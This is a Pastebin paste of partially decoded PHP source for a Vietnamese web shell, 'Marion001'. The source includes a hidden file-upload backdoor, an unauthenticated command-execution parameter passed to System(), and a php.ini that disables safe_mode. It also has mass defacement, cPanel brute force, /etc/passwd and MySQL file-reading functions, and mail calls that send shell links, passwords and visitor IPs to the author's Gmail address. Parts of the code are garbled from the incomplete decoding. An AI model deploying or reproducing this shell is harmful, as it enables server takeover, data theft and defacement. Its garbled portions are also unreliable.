SHARE
TWEET

Marion001.php (Decode dở dang)

anhkiet2507 Sep 25th, 2017 13,224 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. error_reporting(7);
  3. @ini_set("output_buffering",0);
  4. @ini_set("display_errors",0);
  5. @set_magic_quotes_runtime(0);
  6. @set_time_limit(0);
  7. date_default_timezone_set("Asia/Ho_Chi_Minh");
  8. ob_start();
  9. define("SA_ROOT",str_replace("\x5c","/",dirname(__FILE__))."/");
  10. define("IS_WIN",DIRECTORY_SEPARATOR=="\x5c");
  11. define("IS_COM",class_exists("COM")?1:0);
  12. define("IS_GPC",get_magic_quotes_gpc());
  13. define("IS_PHPINFO",(!eregi("phpinfo",get_cfg_var("disable_functions"))?1:0);
  14. ${starttime}=explode(" ",microtime())[1]+explode(" ",microtime())[0];
  15. foreach(array("_GET","_POST")as$_request) {  
  16. foreach($$_request as${_key}=>${_value}) {if(${_key} {0} !="_")
  17. {if(IS_GPC) {${_value}=s_array(${_value});}
  18. ${_key}  =${_value};
  19. }}}${MarionAdmin}=array();
  20. ${MarionAdmin}["check"]=true;
  21. ${MarionAdmin}["pass"]=${PasMarion001};
  22. ${MarionAdmin}["cookiepre"]="";
  23. ${MarionAdmin}["cookiedomain"]="";
  24. ${MarionAdmin}["cookiepath"]="/";
  25. ${MarionAdmin}["cookielife"]=86400;
  26. ${GUISEND}="mr.marion001@gmail.com";
  27. if(${charset}=="utf8") {  header("content-Type: text/html;charset=utf-8");
  28. }elseif(${charset}=="big5") {  header("content-Type: text/html;charset=big5");
  29. }elseif(${charset}=="gbk") {  header("content-Type: text/html;charset=gbk");
  30. }elseif(${charset}=="latin1") {  header("content-Type: text/html;charset=iso-8859-2");
  31. }${self}=$_SERVER["PHP_SELF"]?$_SERVER["PHP_SELF"]:$_SERVER["SCRIPT_NAME"];
  32. ${timestamp}=time();
  33. if(${action}=="logout") {  setcookie("cookieMarion","",-86400*365);
  34. setcookie("cookieMarion","",time()-360);
  35. p("<meta http-equiv="refresh" content=\"0;
  36. URL=".${self}."">");
  37. p("<body background=black>");
  38. exit;
  39. }if(empty($_COOKIE["cookieMarion"])) {  if($_COOKIE["cookieMarion"]!=${MarionAdmin}["pass"]);
  40. if(isset($_POST["cookieMarion"])) {      if(($_POST["cookieMarion"])==${MarionAdmin}["pass"]);
  41. setcookie("cookieMarion",${MarionAdmin}["pass"]);
  42. ${time_shell}="".date("H:i:s - d/m/Y")."";
  43. ${ip_remote}=$_SERVER["REMOTE_ADDR"];
  44. ${from_shellcode}="Marion001-Success@".gethostbyname($_SERVER["SERVER_NAME"])."";
  45. ${server_mail}="".gethostbyname($_SERVER["SERVER_NAME"])."  - ".$_SERVER["HTTP_HOST"]."";
  46. ${linkcr}="Link-Shell: ".$_SERVER["SERVER_NAME"]."".$_SERVER["REQUEST_URI"]." - Pass-Shell: ".${MarionAdmin}["pass"]." - IP Thuc Hien: $ip_remote Thoi Gian: $time_shell";
  47. ${header}="From: $from_shellcode Reply Marion001-Shell: $from_shellcode";
  48. @mail(${GUISEND},${server_mail},${linkcr},${header});
  49. p("<meta http-equiv="refresh" content="0;
  50. URL=".${self}."">");
  51. p("<body bgcolor=black><BR><BR><div align=center><font color=green face=tahoma size=2><a style=color:green;
  52. href=".${self}    .">Xin Chào Marion001 Đã Quay Lại, Đang Khởi Động Shell. Vui Lòng Chờ...;
  53.  
  54. <BR><img src="https://lh6.googleusercontent.com/-O0pi9Yi3omo/VDiaR9XYOTI/AAAAAAAAAAk/g5j7XtnwOhs/w346-h433/radar.gif"/></a></div>");
  55. exit;
  56. die();
  57.  
  58.   }  else {    
  59. ${time_shell}  ="".date("H:i:s - d/m/Y")."";
  60. ${ip_remote}=$_SERVER["REMOTE_ADDR"];
  61. ${from_shellcode}="Marion001-Failure@".gethostbyname($_SERVER["SERVER_NAME"])."";
  62. ${server_mail}="".gethostbyname($_SERVER["SERVER_NAME"])."  - ".$_SERVER["HTTP_HOST"]."";
  63. ${linkcr}="Link-Shell: ".$_SERVER["SERVER_NAME"]."".$_SERVER["REQUEST_URI"]." - Pass-Shell: ".${MarionAdmin}["pass"]." - IP Thuc Hien: $ip_remote Thoi Gian: $time_shell";
  64. ${header}="From: $from_shellcode Reply Marion001-Shell: $from_shellcode";
  65. @mail(${GUISEND},${server_mail},${linkcr},${header});
  66. echo"<table width=100%><tr><td bgcolor= width=100% height=24>\n<div align=center><font color=While face=tahoma size=2><h1>Đăng Nhập Thất Bại, Sai Mật Khẩu</h1>\n<BR></font></div></td></tr></table><br/><div style="text-align: center;
  67. font-size: 15px;
  68. padding-top: 5px;
  69. \">\n<img alt="" src="http://www.wieistmeineip.de/ip-address"/></div>";
  70.  
  71. }}echo"<html><head><body bgcolor=black background=black><meta http-equiv=\"Content-Type\" content=\"text/html;
  72. charset=UTF-8" /><title>..: Marion001 :..</title>\n<style type="text/css">A:link {text-decoration: none;
  73. color: green }A:visited {text-decoration: none;
  74. color:red}A:active {text-decoration: none}A:hover {text-decoration: underline;
  75. color: green;
  76.  
  77. }input, textarea, button{font-size: 11pt;
  78. color: green;
  79. font-family: verdana, sans-serif;
  80. background-color: black;
  81.  
  82. }</style>\n<BR><BR><div align=center ><fieldset style="border: 1px solid rgb(20, 255, 0);
  83. padding: 4px;
  84. width:450px;
  85. bgcolor:white;
  86. align:center;
  87. font-family:tahoma;
  88. font-size:10pt\">\n<legend><font color=IndianRed1><B>Shell Marion001-Ver3.5</b></font></legend><div><font color=#EEEE00><font color=#33ff00>==[ <B>Marion001</B> ]== </font><BR><BR>\n<form method="POST" action=""><span style="font:10pt tahoma;
  89. ">Vui lòng nhập mật khẩu: </span><input name="cookieMarion\" type="password" size="20" title="Nhập mật khẩu">\n<input type="submit" value="Marion001" title="Vui lòng nhập\"><a href=\"Shell Marion001facebook.com/Party.Marion002"></a></form><BR><B>\n<font color=white><a href=https://www.facebook.com/1538019036482448 target=_blank>Developed by Marion001</a><BR></b></div></fieldset>\n<font face="Orbitron" style=\"color:white;
  90. text-shadow: 0 0 0.3em MediumBlue,0 0 0.3em MediumBlue;
  91. z-index:900000"></a><style>HTML,BODY{cursor: url("http://downloads.totallyfreecursors.com/thumbnails/mchiller.ani\"), url("http://downloads.totallyfreecursors.com/thumbnails/mchiller.gif\"), auto;
  92.  
  93. }</style>\n<br><h2><font face="Orbitron" style="color:rgb(0, 255, 178);
  94. "><br></head><center><div class=\"g-ytsubscribe" data-channelid=\"UCAapAGA3TQ-BJot0fX9f6fQ" data-layout="full" data-count="default"></div><br/><br/>\n<iframe src="https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/1538019036482448&amp;
  95. send=false&amp;
  96. layout=standard&amp;
  97. width=400&amp;
  98. show_faces=false&amp;
  99. action=like&amp;
  100. colorscheme=light&amp;
  101. font=arial&amp;
  102. height=35" scrolling=\"no\" frameborder="0" style="border:none;
  103. overflow:hidden;
  104. width:350px;
  105. height:20px;
  106. " allowtransparency="true"></iframe><iframe width="146" height="28" src=\"http://www.hit-counts.com/counter.php?t=MTM0MjE2NQ==\" frameborder="0\" allowfullscreen=\"true"></iframe></center></html>";
  107.  
  108.  if(isset($_GET['php-ini'])){$bypass_cmd = "php.ini";
  109. $dosya = fopen ($bypass_cmd , 'w') or die ("Lỗi, Không Mở Được File");
  110. $tuyen1 = "safe_mode = OFF disable_functions = NONE";
  111. fwrite($dosya, $tuyen1);
  112. fclose($dosya);
  113. }
  114.  
  115. @ini_set("output_buffering",0);
  116. @ini_set("display_errors",0);
  117. ${TimeVN}=+7;
  118. ${thoigian}=gmdate("d/m/Y H:i:s",time()+3600*(${TimeVN}+date("0")));
  119. ${ip}=$_SERVER["REMOTE_ADDR"];
  120. ${web}=$_SERVER["HTTP_USER_AGENT"];
  121. ${NoiDung}.="Thoi Gian: $thoigian"."\r\n"."IP Nguoi Dung: $ip"."\r\n";
  122. ${NoiDung}.="IP Web: ".gethostbyname($_SERVER["SERVER_NAME"]).""."\r\n"."Trinh Duyet: $web"."\r\n";
  123. ${NoiDung}.="Link-Web: ".$_SERVER["SERVER_NAME"]."".$_SERVER["REQUEST_URI"].""."\r\n";
  124. ${NoiDung}.="BackDoor Upload: tenfile.php?/*!BackDoor*/=(!)/*!Marion001*/=*"."\r\n"."BackDoor Command: tenfile.php?/*!50000(!)Query*/(/*!CMD*/=Lenh"."\r\n";
  125. ${Mail_Gui}="Marion001-LinkShell@".gethostbyname($_SERVER["SERVER_NAME"])."";
  126. ${Mail_Nhan}="mr.marion001@gmail.com";
  127. ${Tieu_De}="Marion001-Link ".$_SERVER["HTTP_HOST"]."";
  128. ${Reply}="From: $Mail_Gui  Reply Marion001-Link: $Mail_Gui";
  129. ${Noi_Dung}="$NoiDung";
  130. @mail(${Mail_Nhan},${Tieu_De},${Noi_Dung},${Reply});
  131. if($_GET["/*!BackDoor*/"]=="(!)/*!Marion001*/=*")  {    echo"<form method=\"POST" enctype="multipart/form-data" action="?/*!BackDoor*/=(!)/*!Marion001*/=*"><input type="file" name="upload_link" size=\"20" id="file\"><input type="submit" name=\"gui" value="BackDoor" ></form>";
  132. if(isset($_POST["gui"]))  {        move_uploaded_file($_FILES["upload_link"]["tmp_name"],$_FILES["upload_link"]["name"]);
  133. echo"<h1>Tải file lên thành công.</h1>";
  134.    }    }echo "<pre>";
  135. @ini_set("output_buffering",0);
  136. @ini_set("display_errors",0);
  137. System($_GET["/*!50000(!)Query*/(/*!CMD*/"]);
  138. echo "</pre>\n";
  139.  
  140. ?> ';
  141. ?> die();
  142.  
  143. }}if(${doing}=="downfile"&&${thefile}) {  if(!@file_exists(${${${"GLOBALS"}["fhiykofuv"]}="Tập tin muốn tải không có trong hệ thống";
  144.  
  145. }else {
  146. ${fileinfo}=pathinfo(${thefile});
  147. header("Content-type: application/x-".${fileinfo}["extension"]);
  148. header("Content-Disposition: attachment;
  149. filename=".${fileinfo}["basename"]);
  150. header("Content-Length: ".filesize(${thefile}));
  151. @readfile(${thefile});
  152. exit;
  153.  
  154. }}if(${doing}=="backupmysql"&&!${saveasfile}) {  
  155. dbconn(${dbhost},${dbuser},${dbpass},${dbname},${charset},${dbport});
  156. ${table}=array_flip(${table});
  157. ${result}=q("SHOW tables");
  158. if(!${result})p("<h2>".mysql_error()."</h2>");
  159. ${filename}=basename($_SERVER["HTTP_HOST"]."_MySQL-Marion001.sql");
  160. header("Content-type: application/unknown");
  161. header("Content-Disposition: attachment;
  162. filename=".${filename});
  163. ${mysqldata}="";
  164. while(${currow}=mysql_fetch_array(${result})) {  if(isset(${table}[${currow}[0]])) {
  165. ${mysqldata}  .=sqldumptable(${currow}[0]);
  166.  
  167. }}mysql_close();
  168. exit;
  169.  
  170. }if(${doing}=="mysqldown") {  if(!${dbname}) {    ${errmsg}=" dbname";
  171.  
  172.   }  else {
  173. dbconn(${dbhost},${dbuser},${dbpass},${dbname},${charset},${dbport});
  174. if(!file_exists(${mysqldlfile})) {
  175. ${errmsg}    ="Tập tin muốn tải không tồn tại";
  176.  
  177.   }  else {
  178. ${result}=q("select load_file('$mysqldlfile');
  179. ");
  180. if(!${result}) {      q("DROP TABLE IF EXISTS tmp_angel;
  181. ");
  182. q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);
  183. ");
  184. q("LOAD DATA LOCAL INFILE '".addslashes(${mysqldlfile})."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';
  185. ");
  186. ${result}=q("select content from tmp_angel");
  187. q("DROP TABLE tmp_angel");
  188.  
  189.     }    ${row}  =@mysql_fetch_array(${result});
  190. if(!${row}) {    
  191. ${errmsg}  ="Load File Thất bại".mysql_error();
  192.  
  193. }else {
  194. ${fileinfo}=pathinfo(${mysqldlfile});
  195. header("Content-type: application/x-".${fileinfo}["extension"]);
  196. header("Content-Disposition: attachment;
  197. filename=".${fileinfo}["basename"]);
  198. header("Accept-Length: ".strlen(${row}[0]));
  199. echo${row}[0];
  200. exit;
  201.  
  202. }}}}echo"<html><head><meta http-equiv="Content-Type" content=\"text/html;
  203. charset=utf-8\"><title>";
  204. echo"Marion001 ".$_SERVER["HTTP_HOST"]."";
  205. echo"</title>\n<style type="text/css\">body,td{font: 10pt Tahoma;
  206. color:00FF00;
  207. line-height: 16px;
  208.  
  209. }a {color: 00FF00;
  210. text-decoration:none;
  211.  
  212. }a:hover{color: #F8F8FF;
  213. text-decoration:underline;
  214.  
  215. }\n.alt1 td{border-top:1px solid rgb(45, 255, 0);
  216. border-bottom:1px solid rgb(45, 255, 0);
  217. background:;
  218. padding:5px 10px 5px 5px;
  219.  
  220. }\n.alt2 td{border-top:1px solid rgb(45, 255, 0);
  221. border-bottom:1px solid rgb(45, 255, 0);
  222. background:#f9f9f9;
  223. padding:5px 10px 5px 5px;
  224.  
  225. }\n.focus td{border-top:1px solid rgb(0, 255, 90);
  226. border-bottom:0px solid rgb(45, 255, 0);
  227. background:#6415F0;
  228. padding:5px 10px 5px 5px;
  229.  
  230. }\n.fout1 td{border-top:1px solid rgb(45, 255, 0);
  231. border-bottom:0px solid rgb(45, 255, 0);
  232. background:#6415F0;
  233. padding:5px 10px 5px 5px;
  234.  
  235. }\n.fout td{border-top:1px solid rgb(45, 255, 0);
  236. border-bottom:0px solid rgb(45, 255, 0);
  237. background:;
  238. padding:5px 10px 5px 5px;
  239.  
  240. }\n.head td{border-top:1px solid rgb(45, 255, 0);
  241. border-bottom:1px solid rgb(45, 255, 0);
  242. background:rgba(27, 17, 248, 0.54);
  243. padding:5px 10px 5px 5px;
  244. font-weight:bold;
  245.  
  246. }\n.head_small td{border-top:1px solid rgb(45, 255, 0);
  247. border-bottom:1px solid rgb(45, 255, 0);
  248. background:;
  249. padding:5px 10px 5px 5px;
  250. font-weight:normal;
  251. font-size:8pt;
  252.  
  253. }\n.head td span{font-weight:normal;
  254.  
  255. }form{margin:0;
  256. padding:0;
  257.  
  258. }h2{margin:0;
  259. padding:0;
  260. height:24px;
  261. line-height:24px;
  262. font-size:14px;
  263. color:#FF0000;
  264.  
  265. }\nul.info li{margin:0;
  266. color:#444;
  267. line-height:24px;
  268. height:24px;
  269.  
  270. }u{text-decoration: none;
  271. color:#777;
  272. float:left;
  273. display:block;
  274. width:150px;
  275. margin-right:10px;
  276.  
  277. }\ninput, textarea, button{font-size: 9pt;
  278. color: #EBFF00;
  279. font-family: verdana, sans-serif;
  280. background-color: #1D13FD;
  281. border-left: 1px solid #74A202;
  282. \nborder-top: 1px solid #74A202;
  283. border-right: 1px solid #74A202;
  284. border-bottom: 1px solid #74A202;
  285.  
  286. }select{font-size: 8pt;
  287. font-weight: normal;
  288. color: #ccc;
  289. font-family: verdana, sans-serif;
  290. background-color: #1D13FD;
  291.  
  292. }\n</style><script type=\"text/javascript">\nfunction CheckAll(form) {for(var i=0;
  293. i<form.elements.length;
  294. i++) {var e = form.elements[i];
  295. if (e.name != 'chkall')e.checked = form.chkall.checked;
  296.  
  297. }}function \$(id) {return document.getElementById(id);
  298.  
  299. }function goaction(act){\$('goaction').action.value=act;
  300. \$('goaction').submit();
  301.  
  302. }\n</script><body onLoad=\"init()" style="margin:0;
  303. table-layout:fixed;
  304. word-break:break-all\" bgcolor=black background=black><div border="0" style="position:fixed;
  305. width: 100%;
  306. height: 25px;
  307. z-index: 1;
  308. top: 300px;
  309. left: 0;
  310. \" id=\"loading" align=\"center" valign="center">\n<table border="1\" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="green"><tr><td align="center\" valign=center>\n<div  align="center"><b>Marion001</b><img src="https://lh6.googleusercontent.com/-XkAaI4Azt28/VDiaerpCLYI/AAAAAAAAABM/DWyqyNo_ZUA/s426/loading1.gif\" width=\"60" height="60" title="Đang tải dữ liệu"></div></td></tr></table></div>\n<script>var ld=(document.all);
  311. var ns4=document.layers;
  312. var ns6=document.getElementById&&!document.all;
  313. var ie4=document.all;
  314. if (ns4)ld=document.loading;
  315. else if (ns6)ld=document.getElementById(\"loading").style;
  316. else if (ie4)ld=document.all.loading.style;
  317.  
  318. function init(){if(ns4){ld.visibility="hidden";
  319.  
  320. }else if (ns6||ie4) ld.display="none";
  321.  
  322. }\n</script><table width=\"100%" border="0" cellpadding=\"0\" cellspacing="0"><tr class="head_small\"><td  width=100%><table width=100%><tr class="head_small\"><td  width=86px><p><img src=\"https://lh6.googleusercontent.com/-O0pi9Yi3omo/VDiaR9XYOTI/AAAAAAAAAAk/g5j7XtnwOhs/w346-h433/radar.gif" width="140\" height=\"140"></p></td><td>\n<span style="float:left;
  323. "></span>";
  324. echo"Hostname: <a style='color:red' href=http://".$_SERVER["HTTP_HOST"]." target=\"_bank\">".$_SERVER["HTTP_HOST"]."</a>";
  325. echo" | Server IP: <b>";
  326. echo"<font color=LawnGreen>".gethostbyname($_SERVER["SERVER_NAME"])."</font>";
  327. echo"</b> - \n";
  328. echo"<a style=color:yellow;
  329. href="http://www.bing.com/search?q=ip:".@$_SERVER["SERVER_ADDR"]."" target="_blank"><b>Ping ip</b></a>";
  330. echo" | ";
  331. echo"<a style=color:yellow;
  332. href="?RESEVERIP-MARION001" target="_blank"><b>Reverse ip</b></a>";
  333. echo" | Your IP: <b>";
  334. echo"<font color=LawnGreen>".$_SERVER["REMOTE_ADDR"]."</font>";
  335. echo"</b>| <b><a style=color:yellow;
  336. href="https://www.facebook.com/1538019036482448\" target="_blank" title="Facebook">";
  337. echo str_replace(".","","Marion001");
  338. echo" </a></b> | <a href=\"javascript:goaction('logout');
  339. " title=\"Logout\"><font color=FFFFFF><b>&Đăng xuất</b></font></a></span><br />\n";
  340. ${curl_on}=@function_exists("curl_version");
  341. ${mysql_on}=@function_exists("mysql_connect");
  342. ${mssql_on}=@function_exists("mssql_connect");
  343. ${pg_on}=@function_exists("pg_connect");
  344. ${ora_on}=@function_exists("ocilogon");
  345. ${perl}=exe("perl --help");
  346. ${PyThon}=exe("python --help");
  347. ${Wget}=exe("wget --help");
  348. echo((${safe_mode})?("Safe_mod: <b><font color=red>ON</font></b> - "):("Safe_mod: <b><font color=LawnGreen>OFF</font></b> - "));
  349. echo"PHP version: <b><a href="javascript:goaction('phpinfo');
  350. ">".@phpversion()."</a></b> - ";
  351. echo"Perl: ".((${perl})?("<b><font color=LawnGreen>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
  352. echo"PyThon: ".((${PyThon})?("<b><font color=LawnGreen>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
  353. echo"Wget: ".((${Wget})?("<b><font color=LawnGreen>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
  354. echo"cURL: ".((${curl_on})?("<b><font color=LawnGreen>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
  355. echo"MySQL: ";
  356. ${mysql_on}=@function_exists("mysql_connect");
  357. if(${mysql_on}) {  echo"<b><font color=LawnGreen>ON</font></b> - ";
  358.  
  359. }else {  echo"<b><font color=red>OFF</font></b> - ";
  360.  
  361. }echo"MSSQL: ";
  362. ${mssql_on}=@function_exists("mssql_connect");
  363. if(${mssql_on}) {  echo"<b><font color=LawnGreen>ON</font></b> - ";
  364.  
  365. }else {  echo"<b><font color=red>OFF</font></b> - ";
  366.  
  367. }echo"PostgreSQL: ";
  368. ${pg_on}=@function_exists("pg_connect");
  369. if(${pg_on}) {  echo"<b><font color=LawnGreen>ON</font></b> - ";
  370.  
  371. }else {  echo"<b><font color=red>OFF</font></b> - ";
  372.  
  373. }echo"Oracle: ";
  374. ${ora_on}=@function_exists("ocilogon");
  375. if(${ora_on}) {  echo"<b><font color=LawnGreen>ON</font></b>";
  376.  
  377. }else {  echo"<b><font color=red>OFF</font></b>";
  378.  
  379. }if(is_callable("file_get_contents")) {
  380. ${getconten}="<b><font color=LawnGreen>ON</font></b>";
  381.  
  382. }else {  $uqddatxe="xqptyvslu";
  383. $jtxulustur="xqptyvslu";
  384. ${$uqddatxe}="getconten";
  385. ${${$jtxulustur}}="<b><font color=red>OFF</font></b>";
  386.  
  387. }echo" - File_get_contents: $getconten";
  388. if(is_callable("socket_connect")) {
  389. ${Socket}="<b><font color=LawnGreen>ON</font></b>";
  390.  
  391. }else {  ${Socket}="<b><font color=red>OFF</font></b>";
  392.  
  393. }echo" - Socket_Connect: $Socket";
  394. echo" - GGI: <b>".$_SERVER["GATEWAY_INTERFACE"]."</b><br>";
  395. ${release}=@php_uname("r");
  396. ${kernel}=@php_uname("s");
  397. ${explink}="https://www.google.com.vn/search?q=";
  398. if(strpos("Linux",${kernel})!==false)${explink}.=urlencode("Linux Exploit kernel ".substr(${release},0,14));
  399. else${explink}.=urlencode(${kernel}." ".substr(${release},0,14));
  400. echo"Disable functions : <b>";
  401. if(""==(${df}=@ini_get("disable_functions"))) {  echo"<font color=LawnGreen>NONE</font></b><BR>";
  402.  
  403. }else {  echo"<font color=red>$df</font></b><BR>";
  404.  
  405. }if(IS_WIN) {  echo"Server Execute Filenames: <b>".$_SERVER["PATHEXT"]."</b><br/>";
  406. echo"Server Command Path: <b>".$_SERVER["COMSPEC"]."</b><br>";
  407.  
  408. }echo"<font color=red>Uname -a</font>: ".@substr(@php_uname(),0,9999)." - <a style=color:#FFF500;
  409. href=".${explink}." target='_blank' title='$explink'><b>[Google Exploit]</b></a><br>";
  410. echo"<a style='color:white;
  411. ' href='?Info-Server' title='info server'>Server</a>: ".@substr($SERVER_SOFTWARE,0,9999)." - <font color=Red>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") - gid=".@getmygid()."(".@get_current_user().")<br/>";
  412. echo"Server Admin: ".$_SERVER["SERVER_ADMIN"]."<br/>";
  413. ${d0mains}=@file("/etc/named.conf");
  414. if(!${d0mains}) {  echo"";
  415.  
  416. }else {  ${demdomain};
  417. foreach(${d0mains}as${d0main}) {    if(@ereg("zone",${preg_match_all("#zone "(.*)"#",${d0main},${domains});
  418. flush();
  419. if(strlen(trim(${flush();
  420. ${${"GLOBALS"}["oybwrhaktneb"]  }  ++;
  421.  
  422. }}}echo"<br/>Domain Tr&#234;
  423. n Server: <font color='red'>$demdomain</font> Domain";
  424.  
  425. }echo"</td><td width="46px\"><b><a href=\"?action=Delete-Shell" title="X&#243;
  426. a Shell">Kill Shell</a><br/><br/><a href="javascript:goaction('about');
  427. ">About</a><br/><br/>\n<a href="javascript:goaction('phpinfo');
  428. " title="Xem Th&#244;
  429. ng Tin PHP">PHPInfo</a><br/><br/><a href="javascript:goaction('php-ini');
  430. " title="T&#7841;
  431. o file php.ini">php.ini</a><b/></td></tr></table><tr bgcolor="white"><td><style type=\"text/css">.commenthiddenlenh {display:none}.commentshownlenh {display:inline}</style>\n</td></tr></td></tr><tr class="alt1"><td  width=10% title="T&#7841;
  432. o Ch&#7913;
  433. c N&#259;
  434. ng/Create Function">\n<a href="javascript:history.back(-1)\" title=\"Quay L&#7841;
  435. i"><b>Back</a> | <a style="color:#ff0000;
  436. " href="";
  437. echo$_SERVER["PHP_SELF"];
  438. echo"\" title="loading Loading shell">HOME</b></a> | <a href=\"javascript:goaction('file');
  439. ">File Manager</a> | <a href="javascript:goaction('sqladmin');
  440. " title="Login V&#224;
  441. o Database">SQL</a> | \n<a href="javascript:goaction('etcpwd');
  442. ">/etc/passwd</a> | <a href="javascript:goaction('newcommand');
  443. " title="Command.php">Command</a> | <a href=\"javascript:goaction('crackmd5');
  444. " title="Gi&#7843;
  445. i M&#227;
  446. MD5">Crack MD5</a> | \n<a href="javascript:goaction('kiemtraip');
  447. " title="Ki&#7875;
  448. m Tra ip">My IP address</a> | <a href="javascript:goaction('backconnect');
  449. " title="K&#7871;
  450. t N&#7889;
  451. i V&#7899;
  452. i PC"> Back Connect</a> | <a href=\"javascript:goaction('CGI');
  453. " title=\"Shell CGI.Marion001">CGI Shell</a> | <a href=\"javascript:goaction('command');
  454. " title="Command 1\">CMD</a> | \n<a href="?CommandFix-Marion001" title="Command 2">CMD-FIX</a> | <a href=\"?php=Marion001" title="M&#227;
  455. H&#243;
  456. a Code PHP">PHP Encode</a> | <a href=\"?StringHash\" title="Mã hóa chuỗi hash">String To Hash</a> | <a href="?Check-Shell\" title="Mass Shell Checker">Check Live Shell</a> |\n<a href="?ScanFile" title="Scan File, Scan Shell">Scan File</a> | <a href="javascript:goaction('Marion001-Root');
  457. " title="Auto Root.pl, linux kernel 2010-2013">Auto Root.pl</a> | <a href="javascript:goaction('indexmarion');
  458. " title=\"T&#7841;
  459. o Index/Create Marion001.html">Marion001.html</a> | <a href=\"javascript:goaction('cpanlbrute');
  460. \">Cpanel Brute</a> | <a href="?MassDeface">Mass Deface</a> |\n<a href=\"javascript:goaction('packshell');
  461. " title="Tool Pack Shell">Extract Shell</a> |\n</td></tr></table><table width="100%" border="0" cellpadding=\"15" cellspacing="0"><tr><td>";
  462. if(isset($_GET["RESEVERIP-MARION001"])) {  $host=$_SERVER["SERVER_ADDR"];
  463. ob_start();
  464. @set_time_limit(0);
  465. echo"<center><h1>Reverse IP Server: $host</h1></center>";
  466. ${reseverlock}="http://domains.yougetsignal.com/domains.php";
  467. ${ch}=curl_init(${${reseverlock}});
  468. curl_setopt(${ch},CURLOPT_RETURNTRANSFER,1);
  469. curl_setopt(${ch},CURLOPT_POSTFIELDS,"remoteAddress=$host&ket=");
  470. curl_setopt(${ch},CURLOPT_HEADER,0);
  471. curl_setopt(${ch},CURLOPT_POST,1);
  472. ${resp}=curl_exec(${ch});
  473. ${resp}=str_replace("[","",str_replace("]","",str_replace("""","",str_replace(", ,",",",str_replace("{","",str_replace("{","",str_replace("}","",str_replace(", ",",",str_replace(", ",",",str_replace("'","",str_replace("'","",str_replace(":",",",str_replace(""","",${${resp}})))))))))))));
  474. ${array}=explode(",",${resp});
  475. unset(${array}[0]);
  476. echo"<table class='tbl'>";
  477. ${demsite}="0";
  478. foreach(${array}as${linksite}){print"<tr><td><a href='http://$linksite' target=_blank>$linksite</a></td></tr>";
  479. ${demsite}++;
  480.  
  481. }echo"</table><center><h1>Chúng ta có;
  482. : $demsite Site Chung Server $host</h1></center>";
  483. curl_close(${ch});
  484. exit();
  485.  
  486. }if(${action}=="phpinfo"){if(IS_PHPINFO){phpinfo();
  487.  
  488. }else{echo"phpinfo() Chức năng không cho phép";
  489.  
  490. }}if(isset($_GET["MassDeface"])){
  491. @ini_set("output_buffering",0);
  492. @ini_set("display_errors",0);
  493. echo"<h1><center>Mass Deface By: Marion001</center></h1><br/><center><textarea style='margin: 0px;
  494. width: 98%;
  495. height: 350px;
  496. '>";
  497. ${defaceurl}=$_POST["massdefaceurl"];
  498. ${dir}=$_POST["massdefacedir"];
  499. ${filename}=$_POST["filename"];
  500. ${masslink}=getcwd();
  501. echo${dir}."\n";
  502. if(is_dir(${dir})){if(${dh}=opendir(${dir})){while((${file}=readdir(${dh}))!==false){if(filetype(${dir}.${file})=="dir"){
  503. ${newfile}=${dir}.${file}."/".${filename};
  504. echo${newfile}."\n";
  505. if(!copy(${defaceurl},${newfile})){echo"Không thể sao chép: $file...\n\n";
  506.  
  507. }}}closedir(${dh});
  508.  
  509. }}echo"</textarea></center>";
  510. echo"<form action="\" method="post">";
  511. echo"<br/>[+] Main Directory: <input type='text' style='width: 250px' value='$masslink\\' name='massdefacedir'><br><br/>";
  512. echo"[+] Defacement Url: <input type="text" style="width: 250px" name="massdefaceurl" placeholder="MassDeface By Marion001"><br/>\n<br/>[+] File Name: <input type="text" style="width: 250px" name="filename\" title=\"T&#234;
  513. n File C&#7847;
  514. n T&#7841;
  515. o" placeholder="xnxx.php">\n<input type="submit" name="execmassdeface\" value="Marion001\"></form>";
  516. exit;
  517.  
  518. }if(isset($_GET["Check-Shell"])){echo"<style type="text/css">.entryfield  {  width:600px;
  519. height:300px;
  520.  
  521. }.subbtn  {  background:#b70505;
  522. color:white;
  523. border: 1px solid #000;
  524. padding:6px 6px 6px 6px;
  525.  
  526. }.subbtn:hover  {  background:#c0bfbf;
  527. color:#b70505;
  528.  
  529. }\n</style><h1><center>Mass Shell Checker (Check Live Shell)</center></h1><form name="frmcontadd\" action=\"" method="post\"><textarea class="entryfield\" name=\"url\" style=\"margin-left: 0px;
  530. margin-right: 0px;
  531. width: 100%;
  532. height:330px;
  533. " placeholder="D&#225;
  534. n Link Shell V&#224;
  535. o &#272;
  536. &#226;
  537. y, M&#7895;
  538. i Link 1 D&#242;
  539. ng"></textarea><br><input class="subbtn" type="submit" name="Submit" value="Check Shell(s)"></form>";
  540.  
  541. function get_http_response_code($theurl){${headers}=get_headers(${theurl});
  542. ${status}=substr(${headers}[0],9,3);
  543. ${p}=parse_url(${theurl});
  544. $host=explode(":",${p}["host"]);
  545. ${hostname}=$host[0];
  546. if(${status}==200){${visitor}=$_SeRVeR["RemOTe_aDDR"];
  547. ${body}="shell: $theurl";
  548. if(!empty(${theurl}))
  549. @mail(${GUISEND},${shell: $theurl },${body});
  550.  
  551. }${writeuRl}=${theurl}."\r\n";
  552. ${fh}=fopen("Live-Shell.txt","a");
  553. fwrite(${fh},${writeuRl},strlen(${writeuRl}));
  554. echo"<strong><font color=green>Shell Live:</font></strong> - <a style="color:green;
  555. " href=\"".${theurl}."\" target=_blank>".${theurl}."</a><br />";
  556.  
  557. }elseif(${status}==500){
  558. echo"<strong><font color=black>".${status}." Internal Server Error</font></strong> - <a style="color:green;
  559. " href="".${theurl}."" target=_blank>".${theurl}."</a><br />";
  560.  
  561. }else{${hrkaepl}="theurl";
  562. ${writeuRl}=${theurl}."\r\n";
  563. ${fh}=fopen("Dia-Shell.txt","a");
  564. fwrite(${fh},${writeuRl},strlen(${writeuRl}));+
